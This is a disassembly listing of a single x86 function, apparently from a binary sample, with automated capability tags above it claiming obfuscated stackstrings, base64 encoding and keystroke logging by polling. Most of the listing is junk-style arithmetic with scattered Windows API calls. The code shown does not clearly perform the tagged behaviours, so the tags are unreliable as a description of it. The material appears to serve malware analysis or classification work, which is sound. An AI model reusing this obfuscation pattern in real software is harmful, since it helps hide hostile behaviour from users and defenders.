Function at 0x409160
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [0x420b90]
xor eax, ebp
mov dword [ebp - 0x254], eax
push ebx
push esi
mov eax, dword [str.This_is_a_simple_string]
mov dword [ebp - 0x26c], eax
mov ecx, dword [0x4121f4]
mov dword [ebp - 0x268], ecx
mov edx, dword [0x4121f8]
mov dword [ebp - 0x264], edx
mov eax, dword [0x4121fc]
mov dword [ebp - 0x260], eax
mov ecx, dword [0x412200]
mov dword [ebp - 0x25c], ecx
mov edx, dword [0x412204]
mov dword [ebp - 0x258], edx
push str.simple
lea eax, [ebp - 0x26c]
push eax
call fcn.00409fb0
add esp, 8
mov dword [ebp - 0xb8], eax
push 6
push str.sample
mov ecx, dword [ebp - 0xb8]
push ecx
call fcn.0040a4e0
add esp, 0xc
lea edx, [ebp - 0x26c]
push edx
call fcn.0040a344
add esp, 4
mov byte [ebp - 0xe5], 9
mov byte [ebp - 0x106], 8
mov byte [ebp - 0x105], 0x20
mov byte [ebp - 0x91], 0x2d
mov byte [ebp - 0x1a], 0x1d
mov byte [ebp - 0x19], 0x26
mov byte [ebp - 7], 0xd
mov byte [ebp - 0x116], 0xe
mov byte [ebp - 0x115], 7
mov byte [ebp - 0xc9], 0x2b
mov byte [ebp - 6], 0x24
mov byte [ebp - 0x24d], 0x16
mov byte [ebp - 0x1b5], 5
mov byte [ebp - 0xed], 0x11
mov byte [ebp - 0x1a1], 0x31
mov byte [ebp - 5], 0x30
mov eax, 8
mov word [ebp - 0x104], ax
mov ecx, 0x1a
mov word [ebp - 0xe4], cx
mov edx, 0x1a
mov word [ebp - 0xe0], dx
mov eax, 0x2d
mov word [ebp - 0x100], ax
mov ecx, 0x1c
mov word [ebp - 0x1a0], cx
mov edx, 0xc
mov word [ebp - 0x190], dx
mov eax, 0x10
mov word [ebp - 0xb0], ax
mov ecx, 0x2c
mov word [ebp - 0x90], cx
xor edx, edx
mov word [ebp - 0x1bc], dx
mov eax, 0x2c
mov word [ebp - 0x18], ax
mov ecx, 0x2a
mov word [ebp - 0x14], cx
mov edx, 0x32
mov word [ebp - 0x114], dx
mov eax, 0x23
mov word [ebp - 0xdc], ax
mov ecx, 0xc
mov word [ebp - 0xc8], cx
mov edx, 1
mov word [ebp - 0x244], dx
mov eax, 0x29
mov word [ebp - 0x240], ax
mov dword [ebp - 0x1b4], 0x13
mov dword [ebp - 0x110], 0x23
mov dword [ebp - 0x24c], 0x12
mov dword [ebp - 0xec], 0x18
mov dword [ebp - 0x10], 0xd
mov dword [ebp - 0x19c], 4
mov dword [ebp - 0x23c], 0x2a
mov dword [ebp - 0x98], 0x1b
mov dword [ebp - 0xfc], 3
mov dword [ebp - 4], 0x25
mov dword [ebp - 0xac], 0x2e
mov dword [ebp - 0xa8], 6
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0x238], 0x19
mov dword [ebp - 0xd8], 0x1b
mov dword [ebp - 0x8c], 0x28
mov ecx, 0x29
mov word [ebp - 0xd4], cx
mov edx, 0x25
mov word [ebp - 0x1b0], dx
mov eax, 9
mov word [ebp - 0xd0], ax
mov ecx, 0x21
mov word [ebp - 0xf8], cx
mov edx, 0x23
mov word [ebp - 0x18c], dx
mov eax, 0xd
mov word [ebp - 0xf4], ax
mov ecx, 0x2a
mov word [ebp - 0x188], cx
mov edx, 0x10
mov word [ebp - 0xa4], dx
mov eax, 0x12
mov word [ebp - 0xc], ax
mov ecx, 0x16
mov word [ebp - 0x234], cx
mov edx, 0x30
mov word [ebp - 0xc0], dx
mov eax, 0x2b
mov word [ebp - 0x230], ax
mov ecx, 2
mov word [ebp - 0x198], cx
mov edx, 5
mov word [ebp - 0x10c], dx
mov eax, 0x1a
mov word [ebp - 0x184], ax
mov ecx, 0x2c
mov word [ebp - 0x22c], cx
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x248], 0x2ff
push 0
push 0
push 0
push 0
push 0
call sub.NETAPI32.dll_NetSetPrimaryComputerName
and ebx, dword [ebp - 0x248]
or dx, bx
movzx eax, byte [esp - 0x1f]
mov dword [ebp - 0x1ac], eax
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x9c]
mov eax, 0x25
sub eax, dword [ebp - 0xa0]
and edx, eax
mov word [ebp - 0x14], dx
mov ecx, 0x58
sub ecx, dword [ebp - 0x1b4]
add ecx, dword [0x415034]
movzx edx, byte [ebp - 0xe5]
sub ecx, edx
mov byte [ebp - 5], cl
mov eax, dword [0x415024]
add eax, 0x24
sub eax, dword [0x415028]
movzx ecx, byte [ebp - 0x115]
sub eax, ecx
mov byte [ebp - 0xe5], al
movzx edx, word [ebp - 0x14]
add edx, 5
mov byte [ebp - 0x116], dl
mov eax, dword [0x415020]
sub eax, dword [0x415024]
add eax, 0x62
mov dword [ebp - 0xa8], eax
movzx ecx, byte [ebp - 0x105]
mov edx, dword [ebp - 0xb4]
lea eax, [ecx + edx + 0x17]
mov dword [ebp - 0x24c], eax
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x1a8]
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0xb4]
sub eax, 0xb7
mov byte [ebp - 0x115], al
movzx ecx, byte [ebp - 0x1a]
mov dword [ebp - 0x9c], ecx
mov byte [ebp - 0x116], 0x5b
movzx edx, word [ebp - 0x18]
sub edx, 0x3d
and edx, dword [0x415020]
and edx, 0x4a
xor edx, dword [ebp - 0x110]
mov byte [ebp - 0x105], dl
mov eax, dword [0x415020]
mov dword [0x415028], eax
mov edx, 0x1b
mov esi, 0xf
add edx, esi
mov ebx, dword [ebp - 0x1ac]
sub edx, esi
mov al, 0xff
sar ah, 1
shl ah, 1
call 0x4095af
shr bh, 1
shl bh, 1
cmp al, bl
jne 0x4095b8
jmp 0x4096a9
mov cx, 0x32
xor edx, edx
loop 0x4095bc
movzx ecx, word [ebp - 0xd0]
mov edx, 0x2a
sub edx, ecx
movzx eax, word [ebp - 0x10c]
imul eax, edx
mov word [ebp - 0x10c], ax
mov dword [0x415020], 0x47
movzx ecx, word [ebp - 0x234]
movzx edx, byte [ebp - 0xe5]
lea eax, [edx + ecx + 0x26]
mov byte [ebp - 0xe5], al
movzx esi, word [ebp - 0x100]
add esi, dword [0x415024]
push 0x38
mov ecx, dword [0x415028]
push ecx
call dword [sym.imp.GDI32.dll_SetColorAdjustment]
lea edx, [esi + eax + 0x2c]
or edx, 0x1f
mov byte [ebp - 0x106], dl
movzx eax, word [0x415056]
mov dword [0x415038], eax
mov ecx, dword [0x415038]
add ecx, 0x5a
sub ecx, dword [0x415034]
movzx edx, word [ebp - 0xe4]
sub ecx, edx
xor ecx, 0x48
mov byte [ebp - 0x1a], cl
mov dword [ebp - 0xa0], 0x39
movzx eax, word [ebp - 0x244]
imul eax, dword [0x415044]
mov dword [0x415044], eax
mov ecx, dword [ebp - 0x1a8]
mov dword [ebp - 0xa0], ecx
movzx edx, byte [ebp - 0xe5]
and edx, dword [0x415060]
mov dword [0x415060], edx
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x9c]
xor ecx, 0x21
mov dword [ebp - 0x1a8], ecx
ret
mov edx, dword [0x415028]
mov dword [ebp - 0x220], edx
mov dword [0x415038], 0x4f
movzx eax, byte [ebp - 0x91]
mov esi, 0x1d
sub esi, eax
sub esi, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xa0]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
mov eax, dword [ebp - 0x1a8]
push eax
call fcn.00404110
add esp, 0xc
add esi, eax
mov word [ebp - 0x1a0], si
mov ecx, dword [ebp - 0x194]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov edx, dword [ebp - 4]
sub edx, eax
add edx, 0x8d
xor edx, 0x4d
mov byte [ebp - 0x106], dl
mov eax, 0x57
sub eax, dword [ebp - 0x194]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1dc], 0x59
mov ecx, 0x3e
sub ecx, dword [ebp - 0xac]
sub ecx, dword [0x415020]
mov dword [ebp - 0xa8], ecx
mov edx, dword [0x415038]
mov dword [ebp - 0x278], edx
cmp dword [ebp - 0x278], 3
ja case.default.0x409767
mov eax, dword [ebp - 0x278]
jmp dword [eax*4 + 0x409f94]
movzx ecx, word [ebp - 0x198]
add ecx, dword [0x415034]
add ecx, dword [0x41502c]
movzx edx, word [ebp - 0xd0]
sub edx, ecx
mov word [ebp - 0xd0], dx
jmp case.default.0x409767
mov eax, 0x55
mov word [ebp - 0xe4], ax
jmp case.default.0x409767
movzx ecx, word [ebp - 0x100]
add ecx, 0x34
mov word [ebp - 0x100], cx
jmp case.default.0x409767
movzx edx, byte [ebp - 0x1a]
imul edx, edx, 0xffffffee
mov byte [ebp - 0x1a], dl
mov byte [0x415028], 0x30
mov eax, dword [0x41502c]
mov dword [ebp - 0x44], eax
mov dword [0x415038], 0x14
call fcn.00409140
mov ecx, dword [0x421ae0]
mov dword [0x421ae4], ecx
mov dword [ebp - 0x270], 0
jmp 0x409803
mov edx, dword [ebp - 0x270]
add edx, 1
mov dword [ebp - 0x270], edx
cmp dword [ebp - 0x270], 6
jge 0x4098ae
movzx eax, byte [ebp - 7]
sub eax, dword [ebp - 0x1a8]
mov dword [str._Y__B], eax
movzx ecx, byte [ebp - 0x116]
movzx edx, word [ebp - 0x240]
and ecx, edx
xor ecx, 3
movzx eax, word [ebp - 0x104]
add eax, 0x4f
xor ecx, eax
mov byte [ebp - 0x1a1], cl
mov cl, byte [ebp - 0xb4]
mov byte [ebp - 0x194], cl
mov dword [ebp - 0x68], 0x3a
movzx edx, byte [ebp - 5]
add edx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xb4]
lea ecx, [edx + eax + 0x4b]
mov word [ebp - 0x1a0], cx
cmp dword [ebp - 0xb4], 0x39
jg 0x409897
mov dword [ebp - 0x194], 0x3e
mov edx, dword [ebp - 0xa0]
or edx, dword [ebp - 0x9c]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0x1b4]
add eax, 0x2c
or eax, 0x4d
mov dword [ebp - 0x8c], eax
jmp 0x4097f4
movzx ecx, word [ebp - 0xb0]
add ecx, 0x17
movzx edx, word [ebp - 0x114]
sub edx, ecx
mov word [ebp - 0x114], dx
mov dword [ebp - 0x21c], 0x20
movzx eax, word [ebp - 0x100]
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1a8], eax
mov cl, byte [ebp - 0x9c]
mov byte [ebp - 0x194], cl
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0x78], edx
movzx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0x10]
lea edx, [ecx + eax + 0x25]
mov byte [ebp - 0xed], dl
mov ebx, dword [0x415034]
sub ebx, 0x19
sub ebx, dword [ebp - 0x19c]
mov eax, dword [0x41502c]
push eax
mov ecx, dword [0x415028]
push ecx
mov edx, dword [0x415028]
push edx
mov eax, dword [0x415024]
push eax
call fcn.004052f0
add esp, 0x10
add eax, 0xc
or ebx, eax
mov byte [ebp - 0x106], bl
movzx ecx, word [ebp - 0x14]
sub ecx, dword [0x415038]
sub ecx, dword [0x415034]
xor ecx, dword [ebp - 0xfc]
mov word [ebp - 0xb0], cx
movzx edx, byte [ebp - 0x106]
add edx, 0x5e
mov dword [0x41502c], edx
mov eax, dword [0x41502c]
and eax, 0x8b
mov dword [ebp - 0xac], eax
mov ecx, dword [0x415034]
push ecx
push 0x10
call dword [sym.imp.USER32.dll_WaitForInputIdle]
add eax, 0x73
sub eax, dword [str._._IE_]
mov word [ebp - 0xc8], ax
mov edx, 0x7a
mov word [ebp - 0x90], dx
movzx eax, byte [ebp - 6]
add eax, dword [ebp - 0xa0]
sub eax, dword [ebp - 0x1a8]
add eax, 0x32
mov word [ebp - 0x104], ax
mov ecx, dword [ebp - 0xb4]
sub ecx, 0x57
mov dword [ebp - 0xa0], ecx
movzx edx, word [ebp - 0x14]
mov eax, dword [ebp - 0x194]
sub eax, edx
add eax, 0x55
movzx ecx, word [ebp - 0xe0]
sub eax, ecx
mov word [ebp - 0x90], ax
mov dword [ebp - 0x220], 0x56
mov dword [ebp - 0xb4], 0x11
movzx edx, word [ebp - 0x18]
sub edx, 0x18
xor edx, dword [ebp - 0xb4]
mov dword [ebp - 0xd8], edx
movzx eax, word [ebp - 0x147]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x128], 0x4b
movzx ecx, word [ebp - 0x14]
sub ecx, dword [ebp - 0xa0]
sub ecx, 0x2d
sub ecx, dword [ebp - 0xb4]
mov word [ebp - 0xc8], cx
movzx edx, word [ebp - 0x22c]
movzx eax, byte [ebp - 0x1a]
add edx, eax
sub edx, dword [0x415024]
movzx ecx, word [ebp - 0x184]
sub ecx, edx
mov word [ebp - 0x184], cx
mov edx, dword [0x415028]
mov dword [ebp - 0x1e8], edx
movzx eax, byte [ebp - 6]
movzx ecx, byte [ebp - 0x106]
add eax, ecx
movzx edx, word [ebp - 0xe4]
xor eax, edx
mov dword [ebp - 0x98], eax
mov eax, dword [str._Y__B]
add eax, dword [0x415028]
mov dword [str._Y__B], eax
movzx ecx, word [ebp - 0x190]
sub ecx, dword [0x415020]
or ecx, 0x22
mov dword [ebp - 0x23c], ecx
mov dx, word [ebp - 0x9c]
mov word [ebp - 0x104], dx
mov dword [0x415048], 0xa
mov esi, dword [ebp - 0x1a8]
add esi, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xa0]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
mov eax, dword [ebp - 0xa0]
push eax
call fcn.004052f0
add esp, 0x10
xor eax, 0x5c
or esi, eax
mov word [ebp - 0x14], si
mov ecx, 0x43
sub ecx, dword [ebp - 0x1a8]
sub ecx, 0x32
mov dword [ebp - 0xc4], ecx
movzx edx, byte [ebp - 0xe5]
add edx, 7
and edx, dword [ebp - 0x9c]
mov dword [ebp - 0xa8], edx
movzx eax, byte [ebp - 0x1a]
mov ecx, dword [0x415038]
sub ecx, eax
movzx edx, word [ebp - 0xc8]
sub ecx, edx
or ecx, 0x29
mov word [ebp - 0x100], cx
movzx eax, word [ebp - 0x198]
mov ecx, dword [0x41505c]
sub ecx, eax
mov dword [0x41505c], ecx
movzx edx, word [ebp - 0x114]
mov eax, dword [ebp - 0xec]
lea ecx, [edx + eax - 0xc]
movzx edx, byte [ebp - 0x106]
sub ecx, edx
add ecx, dword [0x415020]
mov byte [ebp - 0x24d], cl
movzx eax, word [ebp - 0x1bc]
mov ecx, 0x13
sub ecx, eax
xor ecx, dword [0x415038]
or ecx, 0x3c
mov word [ebp - 0xc8], cx
mov byte [ebp - 0x24d], 0xf
mov edx, dword [str._._IE_]
mov dword [ebp - 0x6c], edx
mov eax, dword [0x41502c]
mov ecx, dword [0x415020]
lea edx, [ecx + eax + 0x3b]
sub edx, dword [0x415038]
mov word [ebp - 0x240], dx
call fcn.00408160
movzx eax, word [ebp - 0xc8]
add eax, 0x57
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0xac]
sub ecx, 0x3c
and ecx, dword [ebp - 0x194]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x1a8]
add edx, 0x8a
mov byte [ebp - 0x91], dl
movzx eax, byte [ebp - 0x1a1]
add eax, 0x57
sub eax, dword [ebp - 0x110]
mov dword [ebp - 0x1b4], eax
movzx ecx, byte [ebp - 0xa0]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x1cc], 0x28
mov edx, dword [ebp - 0x238]
add edx, dword [ebp - 0x1a8]
sub edx, dword [ebp - 0x9c]
mov dword [ebp - 0xc4], edx
movzx eax, word [ebp - 0xe4]
mov dword [ebp - 0x9c], eax
movzx ecx, word [ebp - 0x244]
add ecx, 8
movzx edx, byte [ebp - 0xed]
sub ecx, edx
mov word [ebp - 0x18], cx
mov dword [ebp - 0x194], 0x81
movzx eax, byte [ebp - 0x106]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x1c8], ecx
mov edx, dword [ebp - 0xa0]
add edx, 0x24
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xa0], eax
movzx ecx, byte [ebp - 0x1a1]
sub ecx, 0x15
movzx edx, byte [ebp - 0x24d]
sub edx, ecx
mov byte [ebp - 0x24d], dl
movzx eax, byte [ebp - 0x9c]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x98], 0x10
movzx ecx, byte [ebp - 7]
movzx edx, word [ebp - 0x188]
sub edx, ecx
mov word [ebp - 0x188], dx
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8d
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403430
add esp, 4
movzx edx, byte [ebp - 0x24d]
add edx, 0x20
xor edx, 0x46
movzx eax, byte [ebp - 0x1b5]
sub eax, edx
mov byte [ebp - 0x1b5], al
mov ecx, 0x3a
sub ecx, dword [ebp - 0xfc]
or ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0x91], 0x28
mov edx, dword [ebp - 0x194]
mov dword [ebp - 0x1e8], edx
movzx eax, word [ebp - 0x90]
add eax, dword [ebp - 0xb4]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0xc4]
mov dword [str._._IE_], ecx
mov edx, dword [0x415020]
mov dword [0x415038], edx
movzx eax, byte [ebp - 0x19]
mov ecx, 0x58
sub ecx, eax
movzx edx, word [ebp - 0x1a0]
and ecx, edx
movzx eax, byte [ebp - 0x19]
mov edx, dword [0x415024]
sub edx, eax
or ecx, edx
mov byte [ebp - 0x24d], cl
mov dword [0x41502c], 0x42
movzx eax, word [ebp - 0x114]
sub eax, 0x55
mov dword [0x41502c], eax
movzx ecx, byte [ebp - 6]
mov edx, dword [0x415034]
sub edx, ecx
movzx eax, word [ebp - 0xb0]
sub edx, eax
add edx, dword [ebp - 0x19c]
xor edx, 0x63
mov byte [ebp - 0x115], dl
movzx ecx, byte [ebp - 0x24d]
movzx edx, byte [ebp - 6]
sub ecx, edx
mov dword [0x41502c], ecx
movzx eax, word [ebp - 0xe0]
mov ecx, dword [ebp - 0xb4]
lea edx, [eax + ecx + 0x2e]
xor edx, dword [ebp - 0xac]
mov word [ebp - 0x104], dx
mov eax, dword [ebp - 0xa0]
add eax, 0x2a
sub eax, dword [ebp - 0xb4]
or eax, 0x62
mov word [ebp - 0xe0], ax
movzx ecx, byte [ebp - 5]
add ecx, 0x5b
mov dword [ebp - 0x24c], ecx
mov edx, dword [0x41502c]
push edx
call dword [sym.imp.GDI32.dll_GetDCPenColor]
add eax, 0x7d
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x415038]
mov dword [ebp - 0x138], eax
mov dword [0x41502c], 0x77
mov ecx, 0x26
sub ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x1d8], 0x17
mov edx, dword [ebp - 0x1a8]
add edx, 0x3f
xor edx, 0x6f
mov word [ebp - 0xe0], dx
mov dword [ebp - 0x9c], 0xa
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0xb4]
push ecx
push 0x2a
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x274], 0
jmp 0x409eec
mov edx, dword [ebp - 0x274]
add edx, 1
mov dword [ebp - 0x274], edx
cmp dword [ebp - 0x274], 6
jge 0x409f7d
movzx eax, byte [ebp - 0x106]
sub eax, dword [ebp - 0x9c]
mov dword [0x415040], eax
movzx ecx, byte [ebp - 6]
mov edx, dword [ebp - 0xa8]
lea eax, [edx + ecx + 0x29]
mov byte [ebp - 0x1a], al
movzx ecx, byte [ebp - 6]
movzx edx, word [ebp - 0x1bc]
add edx, dword [0x41504c]
add edx, ecx
mov dword [0x41504c], edx
mov dword [ebp - 0x168], 0x3d
movzx eax, word [ebp - 0x1a0]
movzx ecx, byte [ebp - 0x1a]
sub eax, ecx
mov edx, dword [ebp - 0x194]
lea eax, [eax + edx + 0x61]
movzx ecx, byte [ebp - 0x19]
sub eax, ecx
mov byte [ebp - 0xc9], al
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x194], 0x5c
jmp 0x409edd
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 0x254]
xor ecx, ebp
call fcn.0040a604
mov esp, ebp
pop ebp
ret 0x10